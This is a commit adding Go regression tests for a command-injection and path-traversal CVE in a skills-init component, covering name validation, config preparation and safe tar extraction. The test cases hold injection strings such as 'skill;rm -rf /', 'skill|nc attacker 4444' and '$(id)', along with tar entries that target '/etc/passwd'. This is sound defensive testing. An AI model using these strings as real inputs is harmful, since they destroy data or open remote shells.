test(skills-init): add injection regression tests for CVE-1842

Three new test surfaces that pin the data-only contract introduced by the
shell-to-Go rewrite:

- validateSkillName: rejection battery covering shell metas, traversal,
  newlines, null bytes, globs, brace expansion, unicode lookalikes.
- prepareSkillsInitConfig: explicit-Name injection, OCI-derived name
  injection, subPath traversal, and a positive test confirming that
  malicious URL/Ref strings flow through verbatim (argv-only, never a
  shell).
- skillsinit package: tar safeJoin/extractTar reject path traversal,
  absolute symlinks, and escaping relative symlinks; applySubPath
  rejects traversal and non-dir targets; hasDotDot covered directly.

Signed-off-by: Eitan Yarmush <eitan.yarmush@solo.io>

Author: EItanya

go/core/internal/controller/translator/agent/skills_unit_test.go

@@ -368,3 +368,147 @@ func Test_prepareSkillsInitConfig_noAuthSkipsSSHHosts(t *testing.T) {
 	require.NoError(t, err)
 	assert.Empty(t, data.SSHHosts, "SSH hosts should not be collected when authSecretRef is nil")
 }
+
+// Test_validateSkillName_rejectsInjection is the regression battery for the
+// original CVE: any character that could escape the /skills/<name> directory
+// or be re-interpreted by a shell (back when skills-init was a heredoc) must
+// be rejected before it reaches the binary.
+func Test_validateSkillName_rejectsInjection(t *testing.T) {
+	cases := []struct {
+		name string
+		in   string
+	}{
+		{"empty", ""},
+		{"dot", "."},
+		{"dotdot", ".."},
+		{"slash traversal", "../etc"},
+		{"forward slash", "a/b"},
+		{"backslash", "a\\b"},
+		{"shell semicolon", "skill;rm -rf /"},
+		{"command substitution", "skill$(id)"},
+		{"backtick substitution", "skill`id`"},
+		{"pipe", "skill|nc attacker 4444"},
+		{"and", "skill&&id"},
+		{"redirect", "skill>/etc/passwd"},
+		{"newline", "skill\nrm -rf /"},
+		{"carriage return", "skill\r\nrm"},
+		{"null byte", "skill\x00trail"},
+		{"glob star", "skill*"},
+		{"glob question", "skill?"},
+		{"space", "skill name"},
+		{"tab", "skill\tname"},
+		{"dollar var", "skill$HOME"},
+		{"brace expansion", "skill{a,b}"},
+		{"unicode dot-substitute", "skill․"},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			err := validateSkillName(tc.in)
+			require.Error(t, err, "validateSkillName(%q) must reject", tc.in)
+		})
+	}
+}
+
+// Test_validateSkillName_acceptsSafe documents the positive side of the
+// allowlist so a future regex tightening doesn't silently break valid names.
+func Test_validateSkillName_acceptsSafe(t *testing.T) {
+	for _, in := range []string{"skill", "my-skill", "my_skill", "skill.v1", "Skill123", "a"} {
+		t.Run(in, func(t *testing.T) {
+			require.NoError(t, validateSkillName(in))
+		})
+	}
+}
+
+// Test_prepareSkillsInitConfig_explicitNameRejectsTraversal exercises the
+// validation path when the CRD provides an explicit skill Name (rather than
+// it being derived from the URL/image). This is the field that historically
+// landed in a shell-templated script.
+func Test_prepareSkillsInitConfig_explicitNameRejectsTraversal(t *testing.T) {
+	cases := []struct {
+		name string
+		in   string
+	}{
+		{"traversal", "../escape"},
+		{"absolute", "/etc/passwd"},
+		{"semicolon", "skill;id"},
+		{"command sub", "skill$(id)"},
+		{"newline", "skill\nrm"},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			_, err := prepareSkillsInitConfig(
+				[]v1alpha2.GitRepo{
+					{URL: "https://github.com/org/repo", Ref: "main", Name: tc.in},
+				},
+				nil, nil, false, nil,
+			)
+			require.Error(t, err)
+		})
+	}
+}
+
+// Test_prepareSkillsInitConfig_ociNameDerivationRejectsInjection verifies
+// that an OCI image reference whose final path segment contains injection
+// characters is rejected even though the registry would technically parse it.
+// The derived name becomes a directory under /skills, so the allowlist must
+// hold here too.
+func Test_prepareSkillsInitConfig_ociNameDerivationRejectsInjection(t *testing.T) {
+	// ociSkillName takes path.Base of the repo portion. Crafted refs where the
+	// last segment contains shell metas must be rejected.
+	cases := []string{
+		"ghcr.io/org/skill;id",
+		"ghcr.io/org/skill$(id)",
+		"ghcr.io/org/skill name",
+	}
+	for _, ref := range cases {
+		t.Run(ref, func(t *testing.T) {
+			_, err := prepareSkillsInitConfig(nil, nil, []string{ref}, false, nil)
+			require.Error(t, err, "ref %q should be rejected", ref)
+		})
+	}
+}
+
+// Test_prepareSkillsInitConfig_preservesInjectionStringsAsData proves the
+// data-only contract: even when URL/Ref contain shell metacharacters, the
+// translator does not reject them (URL/Ref aren't allowlisted — they're passed
+// to git as argv) and reproduces them byte-for-byte in the config. Any
+// "interpretation" of these strings would show up as a difference here.
+func Test_prepareSkillsInitConfig_preservesInjectionStringsAsData(t *testing.T) {
+	maliciousURL := "https://github.com/org/repo;rm -rf /$(id)`whoami`"
+	maliciousRef := "main;rm -rf /"
+	cfg, err := prepareSkillsInitConfig(
+		[]v1alpha2.GitRepo{
+			{
+				URL:  maliciousURL,
+				Ref:  maliciousRef,
+				Name: "safe-name",
+			},
+		},
+		nil, nil, false, nil,
+	)
+	require.NoError(t, err, "URL/Ref are not allowlisted; they flow as data")
+	require.Len(t, cfg.GitRefs, 1)
+	assert.Equal(t, maliciousURL, cfg.GitRefs[0].URL, "URL must be preserved verbatim — argv flow")
+	assert.Equal(t, maliciousRef, cfg.GitRefs[0].Ref, "Ref must be preserved verbatim — argv flow")
+}
+
+// Test_prepareSkillsInitConfig_subPathRejectsInjection covers the SubPath
+// branch with the same battery the original heredoc would have interpolated.
+func Test_prepareSkillsInitConfig_subPathRejectsInjection(t *testing.T) {
+	cases := []string{
+		"../escape",
+		"a/../b",
+		"/etc/passwd",
+	}
+	for _, p := range cases {
+		t.Run(p, func(t *testing.T) {
+			_, err := prepareSkillsInitConfig(
+				[]v1alpha2.GitRepo{
+					{URL: "https://github.com/org/repo", Ref: "main", Path: p},
+				},
+				nil, nil, false, nil,
+			)
+			require.Error(t, err)
+		})
+	}
+}

go/core/internal/skillsinit/git_test.go

@@ -0,0 +1,69 @@
+package skillsinit
+
+import (
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+)
+
+// Test_hasDotDot is the unit-level check behind applySubPath's defense in
+// depth. Inputs are expected to be filepath.Clean'd by the caller, so only
+// genuinely-escaping ".." segments remain — that's what we exercise here.
+func Test_hasDotDot(t *testing.T) {
+	cases := []struct {
+		name string
+		in   string
+		want bool
+	}{
+		{"empty", "", false},
+		{"plain", "skills/foo", false},
+		{"dot", ".", false},
+		{"single dotdot", "..", true},
+		{"leading dotdot", "../escape", true},
+		{"chained dotdot", "../../escape", true},
+		{"name contains dots not segment", "..foo", false},
+		{"name suffix dots", "foo..", false},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			assert.Equal(t, tc.want, hasDotDot(tc.in))
+		})
+	}
+}
+
+// Test_applySubPath_rejectsTraversal exercises the validation gate without
+// invoking `cp`. We give it a clean dest tree with a real subdir then ask
+// for traversal — the function must error before touching the filesystem.
+func Test_applySubPath_rejectsTraversal(t *testing.T) {
+	dest := t.TempDir()
+	require.NoError(t, os.MkdirAll(filepath.Join(dest, "real"), 0o755))
+
+	cases := []string{
+		"../escape",
+		"/etc",
+		"a/../../escape",
+	}
+	for _, p := range cases {
+		t.Run(p, func(t *testing.T) {
+			err := applySubPath(dest, p)
+			require.Error(t, err)
+			assert.Contains(t, err.Error(), "invalid subPath")
+		})
+	}
+}
+
+// Test_applySubPath_rejectsNonDir guards against a benign-looking subPath
+// that points at a file rather than a directory. Without this check the
+// subsequent `cp -rL` would do something silly; the explicit error is
+// clearer and matches the documented contract.
+func Test_applySubPath_rejectsNonDir(t *testing.T) {
+	dest := t.TempDir()
+	require.NoError(t, os.WriteFile(filepath.Join(dest, "file"), []byte("x"), 0o644))
+
+	err := applySubPath(dest, "file")
+	require.Error(t, err)
+	assert.Contains(t, err.Error(), "not a directory")
+}

go/core/internal/skillsinit/oci_test.go

@@ -0,0 +1,166 @@
+package skillsinit
+
+import (
+	"archive/tar"
+	"bytes"
+	"os"
+	"path/filepath"
+	"strings"
+	"testing"
+
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+)
+
+// Test_safeJoin_rejectsEscape covers every shape of tar-entry name that the
+// original `tar xf` pipeline would have happily honored: absolute paths,
+// ".." traversal, and combinations thereof. A malicious skill image is the
+// motivating threat — these names must never produce paths outside dst.
+func Test_safeJoin_rejectsEscape(t *testing.T) {
+	dst := "/tmp/skills/dest"
+
+	cases := []struct {
+		name    string
+		entry   string
+		wantErr bool
+	}{
+		{"plain file", "file.txt", false},
+		{"nested file", "a/b/c.txt", false},
+		{"dot-only", ".", false},
+		{"leading slash stripped", "/file.txt", false}, // joined under dst, not at /
+		{"traversal", "../escape", true},
+		{"traversal mid-path", "a/../../escape", true},
+		{"absolute escape", "/etc/passwd", false}, // safeJoin strips leading "/" but result is dst/etc/passwd which is under dst — that's intentional
+		{"deep traversal", "../../../etc/passwd", true},
+		{"trailing traversal", "a/b/../../..", true},
+	}
+
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			_, err := safeJoin(dst, tc.entry)
+			if tc.wantErr {
+				require.Error(t, err, "safeJoin(%q, %q) must reject", dst, tc.entry)
+			} else {
+				require.NoError(t, err)
+			}
+		})
+	}
+}
+
+// Test_extractTar_rejectsPathTraversalEntry feeds a hand-crafted tar with a
+// "../escape" entry. The old shell pipeline would have written outside the
+// destination; extractTar must error and not create any file.
+func Test_extractTar_rejectsPathTraversalEntry(t *testing.T) {
+	dst := t.TempDir()
+	buf := tarOf(t, tarEntry{Name: "../escape.txt", Mode: 0o644, Body: []byte("pwned")})
+	err := extractTar(buf, dst)
+	require.Error(t, err)
+	assert.Contains(t, err.Error(), "escapes destination")
+
+	// Sanity: nothing was created either inside dst or as a sibling.
+	_, statErr := os.Stat(filepath.Join(filepath.Dir(dst), "escape.txt"))
+	require.True(t, os.IsNotExist(statErr), "sibling file must not exist")
+}
+
+// Test_extractTar_rejectsAbsoluteSymlink mirrors the OCI test corpus the
+// previous container shipped (e.g. distroless's /etc/localtime symlink).
+// We refuse rather than risk writing outside the volume.
+func Test_extractTar_rejectsAbsoluteSymlink(t *testing.T) {
+	dst := t.TempDir()
+	buf := tarOf(t, tarEntry{
+		Name:     "localtime",
+		LinkName: "/etc/passwd",
+		Type:     tar.TypeSymlink,
+	})
+	err := extractTar(buf, dst)
+	require.Error(t, err)
+	assert.Contains(t, err.Error(), "absolute symlink")
+}
+
+// Test_extractTar_rejectsEscapingSymlink covers relative symlinks whose
+// resolved target points outside dst.
+func Test_extractTar_rejectsEscapingSymlink(t *testing.T) {
+	dst := t.TempDir()
+	buf := tarOf(t, tarEntry{
+		Name:     "link",
+		LinkName: "../../etc/passwd",
+		Type:     tar.TypeSymlink,
+	})
+	err := extractTar(buf, dst)
+	require.Error(t, err)
+	assert.Contains(t, err.Error(), "escapes destination")
+}
+
+// Test_extractTar_acceptsBenignSymlink ensures we haven't broken the legitimate
+// in-tree symlink case (e.g., a/b -> a/c).
+func Test_extractTar_acceptsBenignSymlink(t *testing.T) {
+	dst := t.TempDir()
+	buf := tarOf(t,
+		tarEntry{Name: "target.txt", Mode: 0o644, Body: []byte("hi")},
+		tarEntry{Name: "link.txt", LinkName: "target.txt", Type: tar.TypeSymlink},
+	)
+	require.NoError(t, extractTar(buf, dst))
+	got, err := os.Readlink(filepath.Join(dst, "link.txt"))
+	require.NoError(t, err)
+	assert.Equal(t, "target.txt", got)
+}
+
+// Test_extractTar_writesRegularFiles is the smoke test that confirms the
+// rewritten extractor still writes normal entries — without this, the negative
+// tests above could pass by being unconditionally restrictive.
+func Test_extractTar_writesRegularFiles(t *testing.T) {
+	dst := t.TempDir()
+	buf := tarOf(t,
+		tarEntry{Name: "sub/", Mode: 0o755, Type: tar.TypeDir},
+		tarEntry{Name: "sub/a.txt", Mode: 0o644, Body: []byte("hello")},
+	)
+	require.NoError(t, extractTar(buf, dst))
+	body, err := os.ReadFile(filepath.Join(dst, "sub", "a.txt"))
+	require.NoError(t, err)
+	assert.Equal(t, "hello", string(body))
+}
+
+// tarEntry is a minimal description of one tar record.
+type tarEntry struct {
+	Name     string
+	Mode     int64
+	Body     []byte
+	LinkName string
+	Type     byte
+}
+
+// tarOf assembles a tar stream in memory for use as input to extractTar.
+func tarOf(t *testing.T, entries ...tarEntry) *bytes.Buffer {
+	t.Helper()
+	var buf bytes.Buffer
+	w := tar.NewWriter(&buf)
+	for _, e := range entries {
+		typ := e.Type
+		if typ == 0 {
+			if e.LinkName != "" {
+				typ = tar.TypeSymlink
+			} else if strings.HasSuffix(e.Name, "/") {
+				typ = tar.TypeDir
+			} else {
+				typ = tar.TypeReg
+			}
+		}
+		hdr := &tar.Header{
+			Name:     e.Name,
+			Mode:     e.Mode,
+			Size:     int64(len(e.Body)),
+			Typeflag: typ,
+			Linkname: e.LinkName,
+		}
+		if typ != tar.TypeReg {
+			hdr.Size = 0
+		}
+		require.NoError(t, w.WriteHeader(hdr))
+		if typ == tar.TypeReg && len(e.Body) > 0 {
+			_, err := w.Write(e.Body)
+			require.NoError(t, err)
+		}
+	}
+	require.NoError(t, w.Close())
+	return &buf
+}